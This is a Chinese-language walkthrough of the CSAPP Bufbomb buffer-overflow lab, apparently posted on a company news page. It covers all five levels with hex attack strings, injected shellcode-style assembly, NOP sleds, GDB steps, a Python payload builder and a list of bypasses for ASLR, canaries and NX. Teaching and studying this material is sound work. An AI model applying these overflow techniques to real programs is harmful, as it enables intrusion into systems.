尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析

CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析
📅 发布时间:2026/7/12 4:40:51

CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析

1. 实验环境与工具链配置

在开始缓冲区溢出攻击实验前,需要准备以下环境:

  • Linux 系统:推荐 Ubuntu 18.04+ 或 CentOS 7+
  • 必要工具:
    sudo apt-get install gcc gdb python3 python3-pip build-essential
  • 实验文件:
    • bufbomb:目标可执行程序
    • bufbomb.c:主程序源码(参考用)
    • makecookie:生成唯一 cookie 值
    • hex2raw:字符串格式转换工具

提示:使用objdump -d bufbomb > bufbomb.asm生成反汇编代码,这是后续分析的重要依据。

2. IA-32 栈帧结构与关键寄存器

理解栈帧结构是攻击的基础,典型函数调用栈布局如下:

内存地址内容说明
高地址参数 N调用者压入的参数
.........
低地址返回地址call 指令下一条指令地址
旧的 %ebp被调用者保存的帧指针
局部变量(如 buf)函数内部定义的变量

关键寄存器作用:

  • %eip:指令指针,存储下一条要执行的指令地址
  • %esp:栈指针,始终指向栈顶
  • %ebp:基址指针,标记当前栈帧起始位置

3. 五阶段攻击实战详解

3.1 Smoke(Level 0):基础返回地址覆盖

攻击目标:使getbuf()返回到smoke()而非原调用者。

操作步骤:

  1. 确定smoke()地址:

    objdump -d bufbomb | grep smoke

    示例输出:

    08048c18 <smoke>:
  2. 计算填充长度:

    • buf大小:0x28 (40) 字节
    • 覆盖保存的 %ebp:+4 字节
    • 覆盖返回地址:+4 字节
    • 总长度:48 字节
  3. 构造攻击字符串:

    00 00 00 00 ... (44个00) 18 8c 04 08

    使用小端格式写入返回地址。

3.2 Fizz(Level 1):带参数函数跳转

攻击目标:跳转到fizz(cookie)并传递正确的 cookie 值。

关键步骤:

  1. 分析fizz()参数位置:

    mov 0x8(%ebp), %eax # 参数位于 ebp+8
  2. 栈布局设计:

    [任意40字节][旧ebp][fizz地址][返回地址][cookie] ↑ ebp
  3. 示例攻击字符串(假设 cookie=0x12345678):

    00 00 00 00 ... (40个00) 00 00 00 00 42 8c 04 08 00 00 00 00 78 56 34 12

3.3 Bang(Level 2):注入可执行代码

攻击目标:注入汇编代码修改全局变量global_value。

攻击代码示例(bang.s):

movl $0x12345678, 0x804d100 # 修改 global_value push $0x08048c9d # bang() 地址 ret # 跳转到 bang

编译与提取机器码:

gcc -m32 -c bang.s && objdump -d bang.o

关键技巧:

  • 确定buf起始地址(通过 GDB)
  • 用 NOP sled 增加命中概率

3.4 Boom(Level 3):精确栈帧恢复

攻击目标:使getbuf()正常返回,但返回值为 cookie。

解决方案:

  1. 注入代码设置返回值:

    mov $0x12345678, %eax # 设置返回值 push $0x08048dbe # 原返回地址 ret
  2. 精确恢复栈帧:

    • 通过 GDB 获取原 %ebp 值
    • 在攻击字符串中包含正确的 %ebp

3.5 Nitro(Level 4):对抗地址随机化

特殊挑战:每次运行时栈地址不同。

应对策略:

  1. NOP sled:用大量 NOP(0x90) 指令填充
  2. 宽返回地址:覆盖为可能的最大地址
  3. 相对地址计算:通过 %esp 推算关键地址

示例攻击代码:

lea 0x28(%esp), %ebp # 动态计算 %ebp mov $0x12345678, %eax # 设置返回值 push $0x08048e3a # testn 中的返回地址 ret

4. GDB 调试实战技巧

4.1 关键断点设置

gdb bufbomb (gdb) break *0x080490a3 # getbuf 中 Gets 调用前 (gdb) break *0x080490a8 # Gets 返回后

4.2 栈内存检查命令

(gdb) x/20xw $esp # 查看栈顶20个字 (gdb) info frame # 查看当前栈帧信息 (gdb) p $ebp # 查看当前ebp值

4.3 寄存器修改技巧

(gdb) set {int}0xbffff6bc = 0x08048e8b # 直接修改内存 (gdb) set $eax = 0x12345678 # 修改寄存器

5. 高级攻击技术与防御

5.1 现代防御机制

机制作用绕过方法
ASLR随机化内存布局信息泄露+暴力破解
Stack Canary检测栈破坏覆盖 canary 或跳过他
NX/DEP阻止栈执行代码ROP/JOP 攻击

5.2 攻击字符串生成模板

import struct def build_exploit(): buf = b'A' * 40 # 填充缓冲区 buf += struct.pack("<I", 0xdeadbeef) # 覆盖 ebp buf += struct.pack("<I", 0x08048c18) # 返回地址 return buf

实际项目中,缓冲区溢出漏洞的利用需要考虑更多现实约束,但本实验提供的五个难度级别完整覆盖了从基础到高级的攻击技术演进路径。通过结合 GDB 调试与汇编代码分析,可以深入理解计算机系统底层的安全机制设计原理。

相关新闻

  • 2026年7月最新郑州二七区铭功路街道亨得利官方钟表服务中心电话公示 - 亨得利官方博客
  • Hydra 9.5 多协议暴力破解:SSH/FTP/RDP 3类服务实战命令与性能调优
  • Hive 4.2.0 新特性实战:Iceberg V3集成与ACID事务性能提升3倍实测

最新新闻

  • 基于Streamlit与TextIteratorStreamer实现大语言模型流式WebUI部署
  • TMC7300与PIC18LF45K22驱动有刷电机方案解析
  • C++模板编程:从基础语法到高级应用实战指南
  • C++默认参数:从语法规则到底层原理的全面解析
  • VSCode Java 多版本 JDK (8/11/17/21) 配置:3 步切换与 Maven/Gradle 集成实战
  • PIC18LF27K42与CMT-8540S-SMT嵌入式音频方案实战

日新闻

  • IX9104 PCIe5.0 高速交换芯片@ACP#完整规格 + 应用场景总结
  • Unity游戏集成Coze智能体:实现NPC智能对话与知识库联动
  • SAP EPIC 建行回单查询:从标准类CL_EPIC_EXAMPLE_CN_CCB_GHTD到Z类的5处关键修改

周新闻

  • IX9104 PCIe5.0 高速交换芯片@ACP#完整规格 + 应用场景总结
  • Unity游戏集成Coze智能体:实现NPC智能对话与知识库联动
  • SAP EPIC 建行回单查询:从标准类CL_EPIC_EXAMPLE_CN_CCB_GHTD到Z类的5处关键修改

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号